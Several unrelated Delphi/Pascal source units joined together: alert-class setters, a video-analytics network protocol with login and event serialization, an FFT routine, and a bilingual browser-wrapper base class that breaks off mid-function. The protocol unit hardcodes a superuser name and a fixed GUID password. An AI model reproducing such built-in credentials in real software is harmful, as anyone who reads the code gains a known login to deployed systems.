procedure TSMARTAlert.SetForwardedBy(const Value: string);
begin
FForwardedBy := Value;
end;
procedure TSMARTAlert.SetInfoOnly(const Value: string);
begin
FInfoOnly := Value;
end;
procedure TSMARTAlert.SetIsOwner(const Value: Boolean);
begin
FIsOwner := Value;
end;
procedure TSMARTAlert.SetLocation(const Value: string);
begin
FLocation := Value;
end;
procedure TSMARTAlert.SetOrderer(const Value: string);
begin
FOrderer := Value;
end;
procedure TSMARTAlert.SetPatientName(const Value: string);
begin
FPatientName := Value;
end;
procedure TSMARTAlert.SetUrgency(const Value: string);
begin
FUrgency := Value;
end;
end.
|
unit MediaProcessing.VideoAnalytics.Net.EventDefinitions;
interface
uses SysUtils, Classes, MediaProcessing.VideoAnalytics,MediaProcessing.VideoAnalytics.Definitions;
const
VaepProtocolVerion = 110220; //'2011.02.20'
VaepFrameBeginMarker = cardinal($46424D4B); //FBMK
VaepFrameEndMarker = cardinal($46454D4B); //FEMK
VaepMaxQueue = 200;
VaepProtocolDefaultPort = 19227;
VaepSuperUserName = 'su';
VaepSuperUserPassword = '{BB968164-B35C-4321-96CB-A720924FAFCC}';
type
TVaepDataObject = class
public
procedure LoadFromStream(aStream: TStream); virtual;
procedure SaveToStream(aStream: TStream); virtual;
procedure LoadFromBytes(aBytes: TBytes);
procedure SaveToBytes(var aBytes: TBytes);
end;
//------ Login
TVaepLoginParams = class (TVaepDataObject)
private
FClientName: string;
FUserPasswordDigest: string;
FUserName: string;
FProtocolVersion: cardinal;
public
procedure LoadFromStream(aStream: TStream); override;
procedure SaveToStream(aStream: TStream); override;
constructor Create(aProtocolVersion: cardinal; const aUserName, aUserPasswordDigest: string; const aClientName: string); overload;
constructor Create(aBytes : TBytes);overload;
property ProtocolVersion: cardinal read FProtocolVersion;
property UserName: string read FUserName;
property UserPasswordDigest: string read FUserPasswordDigest;
property ClientName: string read FClientName;
end;
type
TVaepLoginResultCode = (
iceOK,
iceWrongProtocolVersion,
iceWrongUserNameOrPassword
);
function VaepLoginResultCodeToString(aCode: TVaepLoginResultCode): string;
type
TVaepLoginResult = class (TVaepDataObject)
private
FServerID: TGUID;
FCode: TVaepLoginResultCode;
public
procedure LoadFromStream(aStream: TStream); override;
procedure SaveToStream(aStream: TStream); override;
property Code: TVaepLoginResultCode read FCode;
property ServerID: TGUID read FServerID;
constructor Create(aResult: TVaepLoginResultCode; const aServerID: TGUID); overload;
constructor Create(aBytes : TBytes);overload;
end;
type
TVaepNotifyType = (
VaepEvent);
//Базовый класс уведомления
TVaepNotify = class (TVaepDataObject)
public
class function NotifyType: TVaepNotifyType; virtual; abstract;
constructor CreateFromBytes(aBytes: TBytes); virtual;
end;
TVaepNotifyClass = class of TVaepNotify;
//Уведомление "Было установлено клиентское подключение для получения медиа-потока"
TVaepEventNotify = class (TVaepNotify)
private
FConnectionUrl: string;
FProcessingResult: TVaProcessingResult;
public
class function NotifyType: TVaepNotifyType; override;
function ToString():string; override;
procedure LoadFromStream(aStream: TStream); override;
procedure SaveToStream(aStream: TStream); override;
constructor Create(const aConnectionUrl: string; const aProcessingResult: TVaProcessingResult); overload;
property ConnectionUrl: string read FConnectionUrl;
property ProcessingResult: TVaProcessingResult read FProcessingResult;
end;
function GetNotifyClass(aNotifyType: TVaepNotifyType): TVaepNotifyClass;
implementation
uses uBaseClasses;
const
VaepLoginResultCodeNames : array [TVaepLoginResultCode] of string =
(
'OK',
'Неподдерживаемая версия протокола',
'Неверное имя пользователя или пароль'
);
function VaepLoginResultCodeToString(aCode: TVaepLoginResultCode): string;
begin
if integer(aCode)>=Length(VaepLoginResultCodeNames) then
result:='неизвестная ошибка';
result:=VaepLoginResultCodeNames[aCode];
end;
function GetNotifyClass(aNotifyType: TVaepNotifyType): TVaepNotifyClass;
begin
case aNotifyType of
VaepEvent: result:=TVaepEventNotify;
else
raise Exception.Create('Неизвестный тип нотификации');
end;
end;
{ TVaepDataObject }
procedure TVaepDataObject.LoadFromBytes(aBytes: TBytes);
var
aStream: TBytesStream;
begin
aStream:=TBytesStream.Create(aBytes);
try
aStream.Position:=0;
LoadFromStream(aStream);
finally
aStream.Free;
end;
end;
procedure TVaepDataObject.SaveToBytes(var aBytes: TBytes);
var
aStream: TBytesStream;
begin
aStream:=TBytesStream.Create;
try
SaveToStream(aStream);
aBytes:=Copy(aStream.Bytes,0,aStream.Size);
finally
aStream.Free;
end;
end;
procedure TVaepDataObject.LoadFromStream(aStream: TStream);
begin
end;
procedure TVaepDataObject.SaveToStream(aStream: TStream);
begin
end;
{ TVaepLoginParams }
constructor TVaepLoginParams.Create(aProtocolVersion: cardinal; const aUserName, aUserPasswordDigest:string; const aClientName: string);
begin
FProtocolVersion:=aProtocolVersion;
FUserName:=aUserName;
FUserPasswordDigest:=aUserPasswordDigest;
FClientName:=aClientName;
end;
constructor TVaepLoginParams.Create(aBytes : TBytes);
begin
inherited Create;
LoadFromBytes(aBytes);
end;
procedure TVaepLoginParams.LoadFromStream(aStream: TStream);
begin
inherited;
aStream.ReadCardinal(FProtocolVersion);
aStream.ReadString(FUserName);
aStream.ReadString(FUserPasswordDigest);
aStream.ReadString(FClientName);
end;
procedure TVaepLoginParams.SaveToStream(aStream: TStream);
begin
inherited;
aStream.WriteCardinal(FProtocolVersion);
aStream.WriteString(FUserName);
aStream.WriteString(FUserPasswordDigest);
aStream.WriteString(FClientName);
end;
{ TVaepLoginResult }
constructor TVaepLoginResult.Create(aBytes: TBytes);
begin
LoadFromBytes(aBytes);
end;
procedure TVaepLoginResult.LoadFromStream(aStream: TStream);
var
i: integer;
begin
inherited;
aStream.ReadInteger(i);
FCode:=TVaepLoginResultCode(i);
aStream.ReadBuffer(FServerID,sizeof(FServerID));
end;
procedure TVaepLoginResult.SaveToStream(aStream: TStream);
begin
inherited;
aStream.WriteInteger(integer(FCode));
aStream.WriteBuffer(FServerID,sizeof(FServerID));
end;
constructor TVaepLoginResult.Create(aResult: TVaepLoginResultCode; const aServerID: TGUID);
begin
inherited Create;
FCode:=aResult;
FServerID:=aServerID;
end;
{ TVaepNotify }
constructor TVaepNotify.CreateFromBytes(aBytes: TBytes);
begin
LoadFromBytes(aBytes);
end;
{ TVaepEventNotify }
constructor TVaepEventNotify.Create(const aConnectionUrl: string; const aProcessingResult: TVaProcessingResult);
begin
FConnectionUrl:=aConnectionUrl;
FProcessingResult:=aProcessingResult;
end;
procedure TVaepEventNotify.LoadFromStream(aStream: TStream);
var
i: Integer;
aObject: ^TVaObject;
aEvent: ^TVaEvent;
j: Integer;
begin
inherited;
aStream.ReadString(FConnectionUrl);
aStream.ReadInteger(i);
SetLength(FProcessingResult.Objects,i);
for i := 0 to High(FProcessingResult.Objects) do
begin
aObject:=@FProcessingResult.Objects[i];
aStream.ReadInteger(aObject.id);
aStream.ReadInteger(aObject.type_);
aStream.ReadBuffer(aObject.position,sizeof(aObject.position));
aStream.ReadBuffer(aObject.rect,sizeof(aObject.rect));
aStream.ReadBuffer(aObject.start_position,sizeof(aObject.start_position));
aStream.ReadInteger(j);
SetLength(aObject.trajectory,j);
for j := 0 to High(aObject.trajectory) do
aStream.ReadBuffer(aObject.trajectory[j],sizeof(aObject.trajectory[j]));
aStream.ReadInteger(aObject.mask_index);
aStream.ReadBuffer(aObject.mask_rect,sizeof(aObject.mask_rect));
aStream.ReadInteger(j);
SetLength(aObject.all_events_deprecated,j);
for j := 0 to High(aObject.all_events_deprecated) do
aStream.ReadInteger(aObject.all_events_deprecated[j]);
end;
aStream.ReadInteger(i);
SetLength(FProcessingResult.Events,i);
for i := 0 to High(FProcessingResult.Events) do
begin
aEvent:=@FProcessingResult.Events[i];
aStream.ReadInteger(j);
aEvent.type_:=TVaEventType(j);
aStream.ReadInteger(aEvent.level);
aStream.ReadInteger(aEvent.object_id);
aStream.ReadInteger(aEvent.rule_id);
aStream.ReadString(aEvent.description);
end;
end;
class function TVaepEventNotify.NotifyType: TVaepNotifyType;
begin
result:=VaepEvent;
end;
procedure TVaepEventNotify.SaveToStream(aStream: TStream);
var
i: Integer;
aObject: ^TVaObject;
aEvent: ^TVaEvent;
j: Integer;
begin
inherited;
aStream.WriteString(FConnectionUrl);
aStream.WriteInteger(Length(FProcessingResult.Objects));
for i := 0 to High(FProcessingResult.Objects) do
begin
aObject:=@FProcessingResult.Objects[i];
aStream.WriteInteger(aObject.id);
aStream.WriteInteger(aObject.type_);
aStream.WriteBuffer(aObject.position,sizeof(aObject.position));
aStream.WriteBuffer(aObject.rect,sizeof(aObject.rect));
aStream.WriteBuffer(aObject.start_position,sizeof(aObject.start_position));
aStream.WriteInteger(Length(aObject.trajectory));
for j := 0 to High(aObject.trajectory) do
aStream.WriteBuffer(aObject.trajectory[j],sizeof(aObject.trajectory[j]));
aStream.WriteInteger(aObject.mask_index);
aStream.WriteBuffer(aObject.mask_rect,sizeof(aObject.mask_rect));
aStream.WriteInteger(Length(aObject.all_events_deprecated));
for j := 0 to High(aObject.all_events_deprecated) do
aStream.WriteInteger(aObject.all_events_deprecated[j]);
end;
aStream.WriteInteger(Length(FProcessingResult.Events));
for i := 0 to High(FProcessingResult.Events) do
begin
aEvent:=@FProcessingResult.Events[i];
aStream.WriteInteger(integer(aEvent.type_));
aStream.WriteInteger(aEvent.level);
aStream.WriteInteger(aEvent.object_id);
aStream.WriteInteger(aEvent.rule_id);
aStream.WriteString(aEvent.description);
end;
end;
function TVaepEventNotify.ToString: string;
begin
result:=Format('ConnectionUrl: %s',[FConnectionUrl]);
end;
initialization
end.
|
unit utilities;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils,
Type_def;
procedure GenerateSignal;
procedure HannWindowing (var arr:RV; arr_size: integer);
PROCEDURE FFT(VAR A:CV; M:INTEGER);
implementation
procedure GenerateSignal;
begin
end;
procedure HannWindowing (var arr:RV; arr_size: integer);
var
i: integer;
dt, wd: double;
begin
dt := (2 * pi)/(arr_size);
for i:=1 to arr_size do
begin
wd := (1 - cos(dt*i));
arr^[i] := arr^[i] * wd;
end;
end;
PROCEDURE FFT(VAR A:CV; M:INTEGER);
{**************************************************************
* FAST FOURIER TRANSFORM PROCEDURE *
* ----------------------------------------------------------- *
* This procedure calculates the fast Fourier transform of a *
* real function sampled in N points 0,1,....,N-1. N must be a *
* power of two (2 power M). *
* T being the sampling duration, the maximum frequency in *
* the signal can't be greater than fc = 1/(2T). The resulting *
* specter H(k) is discrete and contains the frequencies: *
* fn = k/(NT) with k = -N/2,.. -1,0,1,2,..,N/2. *
* H(0) corresponds to null fréquency. *
* H(N/2) corresponds to fc frequency. *
* ----------------------------------------------------------- *
* INPUTS: *
* *
* A(i) complex vector of size N, the real part of *
* which contains the N sampled points of real *
* signal to analyse (time spacing is constant). *
* *
* M integer such as N=2^M *
* *
* OUTPUTS: *
* *
* A(i) complex vector of size N, the vector modulus *
* contain the frequencies of input signal, the *
* vector angles contain the corresponding phases *
* (not used here). *
* *
* J-P Moreau/J-P Dumont *
**************************************************************}
VAR U,W,T :Complex;
N,NV2,NM1,J,I,IP,K,L,LE,LE1 :INTEGER;
Phi,temp :REAL_AR;
BEGIN
N:=(2 SHL (M-1));
NV2:=(N SHR 1);
NM1:=N-1;
J:=1;
FOR I:=1 TO NM1 DO
BEGIN
if (I<J) then
BEGIN
T:=A^[J];
A^[J]:=A^[I];
A^[I]:=T;
END; (* if *)
K:=NV2;
if K<J then
REPEAT
J:=J-K;
K:=(K SHR 1);
UNTIL K>=J;
J:=J+K;
END; (* Do *)
LE:=1;
FOR L:=1 TO M DO
BEGIN
LE1:=LE;
LE:=(LE SHL 1);
U[1]:=1.0;
U[2]:=0.0;
Phi:= Pi/LE1;
W[1]:=Cos(Phi);
W[2]:=Sin(Phi);
FOR J:=1 TO LE1 DO
BEGIN
I:=J-LE;
WHILE I< N-LE DO
BEGIN
I:=I+LE;
IP:=I+LE1;
T[1]:=A^[ip][1]*U[1]-A^[ip][2]*U[2];
T[2]:=A^[ip][1]*U[2]+A^[ip][2]*U[1];
A^[ip][1]:=A^[i][1]-T[1];
A^[ip][2]:=A^[i][2]-T[2];
A^[i][1]:=A^[i][1]+T[1];
A^[i][2]:=A^[i][2]+T[2];
END; (* WHILE *)
temp:=U[1];
U[1]:=W[1]*U[1]-W[2]*U[2];
U[2]:=W[1]*U[2]+W[2]*temp;
END;
END;
FOR I:=1 TO N DO
BEGIN
A^[I][1]:=A^[I][1]/N;
A^[I][2]:=A^[I][2]/N;
END
END;
end.
|
{
TCustomWeb class
ES: Clase base para la manipulación del contenido de un TWebBrowser
EN: Base class for management the contents of a TWebBrowser
=========================================================================
History:
ver 0.1.9
ES:
nuevo: documentación
nuevo: se hace compatible con el navegador chromium y FireMonkey
EN:
new: documentation
new: now compatible with chromium browser and FireMonkey
ver 0.1.6
ES:
nuevo: Se añade método SaveToJPGFile
EN:
new: added SaveToJPGFile method
ver 0.1:
ES: primera versión
EN: first version
=========================================================================
IMPORTANTE PROGRAMADORES: Por favor, si tienes comentarios, mejoras,
ampliaciones, errores y/o cualquier otro tipo de sugerencia, envíame un correo a:
gmlib@cadetill.com
IMPORTANT DEVELOPERS: please, if you have comments, improvements, enlargements,
errors and/or any another type of suggestion, please send me a mail to:
gmlib@cadetill.com
}
{*------------------------------------------------------------------------------
The WebControl unit includes the necessary classes to encapsulate the access to a browser.
This browser can be a TWebBrowser, TChromium or TChromiumFMX (for FireMonkey).
You can de/activate this browsers into the gmlib.inc file.
By default, only the TWebBrowser is active.
@author Xavier Martinez (cadetill)
@version 1.5.3
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
La unit WebChronium incluye las clases necesarias para encapsular el acceso a un navegador.
Este navegador puede ser un TWebBrowser, TChromium o TChromiumFMX (para FireMonkey).
Puedes des/activar estos navegadores desde el archivo gmlib.inc.
Por defecto, sólo está activo el TWebBrowser.
@author Xavier Martinez (cadetill)
@version 1.5.3
-------------------------------------------------------------------------------}
unit WebControl;
{.$DEFINE CHROMIUM}
{.$DEFINE CHROMIUMFMX}
{$I ..\gmlib.inc}
interface
uses
{$IFDEF CHROMIUM or CHROMIUMFMX}
ceflib,
{$ENDIF}
{$IFDEF DELPHIXE2}
System.Classes, System.SysUtils;
{$ELSE}
Classes, SysUtils;
{$ENDIF}
type
{*------------------------------------------------------------------------------
TCustomWeb class is the base class for all those who want to access a web page loaded in a browser.
This browser is passed by parametre in the constructor.
The constructor must be reintroduced for their children to accept the browser that want.
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
La clase TCustomWeb es la clase base para todas las clases que quieran acceder a una página web cargada en un navegador.
El navegador se pasa por parámetro en el constructor.
El constructor debe ser reintroducido por los descendientes de esta clase para especificar qué navegador deben usar.
-------------------------------------------------------------------------------}
TCustomWeb = class(TObject)
private
protected
{*------------------------------------------------------------------------------
Browser
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
Navegador
-------------------------------------------------------------------------------}
FWebBrowser: TComponent;
{*------------------------------------------------------------------------------
List of all links into web page (not used at the moment)
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
Lista de todos los enlaces dentro de la página (no usado en este momento)
-------------------------------------------------------------------------------}
FLinks: TStringList;
{*------------------------------------------------------------------------------
List of all forms into web page. Initialized with WebFormNames method.
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
Lista de todos los formularios dentro de la página. Se inicializa con el método WebFormNames.
-------------------------------------------------------------------------------}
FForms: TStringList;
{*------------------------------------------------------------------------------
List of all fields into a specific form. Initialized with WebFormFields method
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
Lista de todos los campos de un formulario especificado. Se inicializa con el método WebFormFields.
-------------------------------------------------------------------------------}
FFields: TStringList;
{*------------------------------------------------------------------------------
Set a browser
@param Browser browser to set
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
Establece un navegador
@param Browser navegador a establecer
-------------------------------------------------------------------------------}
procedure SetBrowser(Browser: TComponent); virtual;
{*------------------------------------------------------------------------------
WebFormFieldValue function return the value of a field in a form
@param FormIdx is the index of the form into the Forms TStringList
@param FieldName is the name of field to return value
@return string containing the value. If not exist Form or Field, return a empty string
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
La función WebFormFieldValue devuelve el valor del campo del formulario indicado
@param FormIdx índice del formulario dentro del TStringList Forms
@param FieldName nombre del campo del que se quiere recuperar el valor
@return string con el valor. Si Form o Field no existen, devuelve un string vacío
-------------------------------------------------------------------------------}
function WebFormFieldValue(const FormIdx: Integer; const FieldName: string): string; overload; virtual; abstract;
{*------------------------------------------------------------------------------
WebFormFieldValue function return the value of a field in a form
@param FormName is the name of the form (it must exist into the Forms TStringList)
@param FieldName is the name of field to return value
@return string containing the value. If not exist Form or Field, return a empty string
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
La función WebFormFieldValue devuelve el valor del campo del formulario indicado
@param FormName es el nombre del formulario dentro del TStringList Forms
@param FieldName nombre del campo del que se quiere recuperar el valor
@return string con el valor. Si Form o Field no existen, devuelve un string vacío
-------------------------------------------------------------------------------}
function WebFormFieldValue(const FormName: string; const FieldName: string): string; overload;
public
{*------------------------------------------------------------------------------
Constructor of the class
@param WebBrowser is the browser to manipulate
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
Constructor de la clase
@param WebBrowser es el navegador a manipular
-------------------------------------------------------------------------------}
constructor Create(WebBrowser: TComponent); virtual;
{*------------------------------------------------------------------------------
Destructor of the class
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
Destructor de la clase
-------------------------------------------------------------------------------}
destructor Destroy; override;
{*------------------------------------------------------------------------------
Clear procedure initialize TStringList properties
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
El procedimiento Clear inicializa las propiedades TStringList
-------------------------------------------------------------------------------}
procedure Clear;
{*------------------------------------------------------------------------------
WebFormNames procedure initializes Forms property with all forms of the loaded page into the browser
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
El procedimiento WebFormNames inicializa la propiedad Forms con todos los formularios de la página cargada en el navegador
-------------------------------------------------------------------------------}
procedure WebFormNames; virtual; abstract;
{*------------------------------------------------------------------------------
WebFormFields procedure initializes Fields property with all fields of the specified form
@param FormName indicates the name of a form included into the Forms TStringList property
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
El procedimiento WebFormFields inicializa la propiedad Fields con todos los campos del formulario especificado
@param FormName indica el nombre del formulario dentro de la propiedad Forms de tipo TStringList
-------------------------------------------------------------------------------}
procedure WebFormFields(const FormName: string); overload;
{*------------------------------------------------------------------------------
WebFormFields procedure initializes Fields property with all fields of the specified form
@param FormIdx indicates the index of the Forms TStringList property
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
El procedimiento WebFormFields inicializa la propiedad Fields con todos los campos del formulario especificado
@param FormIdx indica el índice dentro de la propiedad Forms de tipo TStringList
-------------------------------------------------------------------------------}
procedure WebFormFields(const FormIdx: Integer); overload; virtual; abstract;
{*------------------------------------------------------------------------------
WebFormSetFieldValue procedure sets a NewValue into the FieldName of the FormNumber
@param FormNumber is the index of the form into Forms property
@param FieldName is name of the field to set value
@param NewValue is the value to set into FieldName
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
El procedimiento WebFormSetFieldValue establece el valor NewValue en el campo FieldName de FormNumber
@param FormIdx es el índice del formulario dentro de la propiedad Forms
@param FieldName es el nombre del campo al que se le quiere establecer el valor
@param NewValue es el valor a establecer en FieldName
-------------------------------------------------------------------------------}
procedure WebFormSetFieldValue(const FormIdx: Integer; const FieldName, NewValue: string); overload; virtual; abstract;
{*------------------------------------------------------------------------------
WebFormSetFieldValue procedure sets a NewValue into the FieldName of the FormName
@param FormName is the name of the form into Forms property
@param FieldName is the name of the field to set value
@param NewValue is the value to set into FieldName
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
El procedimiento WebFormSetFieldValue establece el valor NewValue en el campo FieldName de FormNumber
@param FormName es el nombre del formulario dentro de la propiedad Forms
@param FieldName es el nombre del campo al que se le quiere establecer el valor
@param NewValue es el valor a establecer en FieldName
-------------------------------------------------------------------------------}
procedure WebFormSetFieldValue(const FormName, FieldName, NewValue: string); overload;
{*------------------------------------------------------------------------------
WebFormSubmit procedure submit a form
@param FormIdx is the index of the form into the Forms TStringList to submit
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
El procedimiento WebFormSubmit envía un formulario
@param FormIdx es el índice dentro de la propiedad Forms de tipo TStringList a enviar
-------------------------------------------------------------------------------}
procedure WebFormSubmit(const FormIdx: Integer); overload; virtual; abstract;
{*------------------------------------------------------------------------------
WebFormSubmit procedure submit a form
@param FormName is the name of the form to submit (it must exist into the Forms TStringList)
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
El procedimiento WebFormSubmit envía un formulario
@param FormName es el nombre dentro de la propiedad Forms de tipo TStringList a enviar
-------------------------------------------------------------------------------}
procedure WebFormSubmit(const FormName: string); overload;
{*------------------------------------------------------------------------------
GetStringField function return the string value of a field in a form
Is not necessari to call WebFormNames procedure before call this method. WebFormNames is called into this method.
@param FormName is the name of the form
@param FieldName is the name of field to return value
@param DefaultValue is the string value to return by default if FormName or FieldName not exist
@return string containing the value. If FormName or FieldName not exist, return DefaultValue
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
La función GetStringField devuelve el valor string de un campo de un formulario
No es necesario hacer una llamada al procedimiento WebFormNames antes de llamar a este método. WebFormNames se llama desde este método.
@param FormName nombre del formulario
@param FieldName nombre del campo a devolver el valor
@param DefaultValue valor a devolver por defecto si FormName o FieldName no existen
@return string que contiene el valor. Si FormName o FieldName no existen, devolverá DefaultValue
-------------------------------------------------------------------------------}
function GetStringField(const FormName, FieldName: string; DefaultValue: string = ''): string;
{*------------------------------------------------------------------------------
GetIntegerField function return the integer value of a field in a form.
Is not necessari to call WebFormNames procedure before call this method. WebFormNames is called into this method.
@param FormName is the name of the form
@param FieldName is the name of field to return value
@param DefaultValue is the integer value to return by default if form or field not exist
@return integer containing the value. If Form or Field not exist, return the DefaultValue
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
La función GetIntegerField devuelve el valor integer de un campo de un formulario
No es necesario hacer una llamada al procedimiento WebFormNames antes de llamar a este método. WebFormNames se llama desde este método.
@param FormName nombre del formulario
@param FieldName nombre del campo a devolver el valor
@param DefaultValue valor a devolver por defecto si FormName o FieldName no existen
@return integer que contiene el valor. Si FormName o FieldName no existen, devolverá DefaultValue
-------------------------------------------------------------------------------}
function GetIntegerField(const FormName, FieldName: string; DefaultValue: Integer = 0): Integer;
{*------------------------------------------------------------------------------
GetFloatField function return the real value of a field in a form.
Is not necessari to call WebFormNames procedure before call this method. WebFormNames is called into this method.
@param FormName is the name of the form
@param FieldName is the name of field to return value
@param DefaultValue is the float value to return by default if form or field not exist
@return real containing the value. If Form or Field not exist, return the DefaultValue
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
La función GetFloatField devuelve el valor real de un campo de un formulario
No es necesario hacer una llamada al procedimiento WebFormNames antes de llamar a este método. WebFormNames se llama desde este método.
@param FormName nombre del formulario
@param FieldName nombre del campo a devolver el valor
@param DefaultValue valor a devolver por defecto si FormName o FieldName no existen
@return real que contiene el valor. Si FormName o FieldName no existen, devolverá DefaultValue
-------------------------------------------------------------------------------}
function GetFloatField(const FormName, FieldName: string; DefaultValue: Real = 0): Real;
{*------------------------------------------------------------------------------
GetBoolField function return the boolean value of a field in a form.
Is not necessari to call WebFormNames procedure before call this method. WebFormNames is called into this method.
@param FormName is the name of the form
@param FieldName is the name of field to return value
@param DefaultValue is the boolean value to return by default if form or field not exist
@return boolean containing the value. If Form or Field not exist, return the DefaultValue
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
La función GetBoolField devuelve el valor boolean de un campo de un formulario
No es necesario hacer una llamada al procedimiento WebFormNames antes de llamar a este método. WebFormNames se llama desde este método.
@param FormName nombre del formulario
@param FieldName nombre del campo a devolver el valor
@param DefaultValue valor a devolver por defecto si FormName o FieldName no existen
@return boolean que contiene el valor. Si FormName o FieldName no existen, devolverá DefaultValue
-------------------------------------------------------------------------------}
function GetBoolField(const FormName, FieldName: string; DefaultValue: Boolean = False): Boolean;
{*------------------------------------------------------------------------------
WebHTMLCode function return the HTML code of the loaded page
@return string containing then HTML code
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
La función WebHTMLCode devuelve el código HTML de la página cargada
@return string que contiene el código HTML
-------------------------------------------------------------------------------}
function WebHTMLCode: string; virtual; abstract;
{*------------------------------------------------------------------------------
WebPrintWithoutDialog method print the loaded page directly
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
El método WebPrintWithoutDialog imprime la página cargada directamente
-------------------------------------------------------------------------------}
procedure WebPrintWithoutDialog; virtual; abstract;
{*------------------------------------------------------------------------------
WebPrintWithDialog method show the print dialog before print the loaded page
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
El método WebPrintWithDialog muestra el cuadro de diálogo de impresión antes de imprimir la página cargada
-------------------------------------------------------------------------------}
procedure WebPrintWithDialog; virtual; abstract;
{*------------------------------------------------------------------------------
WebPrintPageSetup method show the page setup dialog before print the loaded page
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
El método WebPrintPageSetup muestra el cuadro de diálogo de configuración de página antes de imprimir la página cargada
-------------------------------------------------------------------------------}
procedure WebPrintPageSetup; virtual; abstract;
{*------------------------------------------------------------------------------
WebPreview method shows a preview before print the loaded page
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
El método WebPreview muestra una vista previa antes de imprimir la página cargada
-------------------------------------------------------------------------------}
procedure WebPreview; virtual; abstract;
{*------------------------------------------------------------------------------
SaveToJPGFile method create a JPG image with de page loaded
@param FileName is the JPG file name
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
El método SaveToJPGFile crea una imagen JPG de la página cargada
@param FileName es el nombre del archivo JPG
-------------------------------------------------------------------------------}
procedure SaveToJPGFile(FileName: TFileName = ''); virtual; abstract;
{*------------------------------------------------------------------------------
Forms property have all forms of a loaded page into the browser.
Call WebFormNames method to initialize it.
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
La propiedad Forms contiene todos los formularios de la página cargada en el navegador.
Realiza una llamada al método WebFormNames para inicializarla.
-------------------------------------------------------------------------------}
property Forms: TStringList read FForms;
{*------------------------------------------------------------------------------
Fields property have all fields of a specified form.
Call WebFormFields method to initialize it.
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
La propiedad Fields contiene todos los campos del formulario especificado.
Realiza una llamada al método WebFormFields para inicializarla.
-------------------------------------------------------------------------------}
property Fields: TStringList read FFields;
{*------------------------------------------------------------------------------
Links property have all links of a loaded page into the browser.
Call WebLinks procedure to initialize it
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
La propiedad Links contiene todos los enlaces de la pátina cargada en el navegador.
Realiza una llamada al método WebLinks para inicializarla.
-------------------------------------------------------------------------------}
property Links: TStringList read FLinks;
end;
{$IFDEF CHROMIUM}
{*------------------------------------------------------------------------------
TCustomWebChromium is the base class for Chromium borwsers.
For that the compiler take into account this class, must be activated in the gmlib.inc file.
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
La clase TCustomWebChromium es la clase base para los navegadores Chromium.
Para que el compilador tenga en cuenta esta clase debes activarla en el fichero gmlib.inc
-------------------------------------------------------------------------------}
TCustomWebChromium = class(TCustomWeb)
private
function GetField(Node: ICefDomNode; FieldName: string): ICefDomNode;
protected
{*------------------------------------------------------------------------------
Returns the page loaded forms separated by commas.
@param Node HTML element where to search forms
@return Forms found
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
Devuelve los formularios de la página cargada separados por comas.
@param Node Elemento HTML donde buscar los formularios
@return Formularios encontrados
-------------------------------------------------------------------------------}
function GetFormsName(Node: ICefDomNode): string;
{*------------------------------------------------------------------------------
Returns the form fields specified by node.
@param Node HTML element where to search fields
@return Fields found
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
Devuelve los campos del formulario especificado por el nodo.
@param Node Elemento HTML donde buscar los campos
@return Campos encontrados
-------------------------------------------------------------------------------}
function GetFieldsName(Node: ICefDomNode): string;
{*------------------------------------------------------------------------------
Returns the form fields specified by node.
@param Form node where search the field
@param FieldName Field name
@return Field value
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
Devuelve el valor de un campo.
@param Node Nodo del formulario donde buscar el campo
@param FieldName Nombre del campo
@return Valor del campo
-------------------------------------------------------------------------------}
function GetFieldValue(Node: ICefDomNode; FieldName: string): string;
{*------------------------------------------------------------------------------
Sets a value into a fields.
@param Form node where search the field
@param FieldName Field name
@param NewValue New value
-------------------------------------------------------------------------------}
{=------------------------------------------------------------------------------
Establece un valor a un campo.
@param Node Nodo del formulario donde buscar el campo
@param FieldName Nombre del campo
@param NewValue Nuevo valor
-------------------------------------------------------------------------------}
procedure SetFieldValue(Node: ICefDomNode; FieldName, NewValue: string);
end;
{$ENDIF}
implementation
{ TCustomWeb }
procedure TCustomWeb.Clear;
begin
FFields.Clear;
FForms.Clear;
FLinks.Clear;
end;
constructor TCustomWeb.Create(WebBrowser: TComponent);
begin
FWebBrowser := WebBrowser;
FForms := TStringList.Create;
FFields := TStringList.Create;
FLinks := TStringList.Create;
end;
destructor TCustomWeb.Destroy;
begin
if Assigned(FLinks) then FreeAndNil(FLinks);
if Assigned(FFields) then FreeAndNil(FFields);
if Assigned(FForms) then FreeAndNil(FForms);
inherited;
end;
function TCustomWeb.GetBoolField(const FormName, FieldName: string;
DefaultValue: Boolean): Boolean;
var
Def: Integer;
begin
if DefaultValue then Def := 1
else Def := 0;
Result := GetIntegerField(FormName, FieldName, Def) = 1;
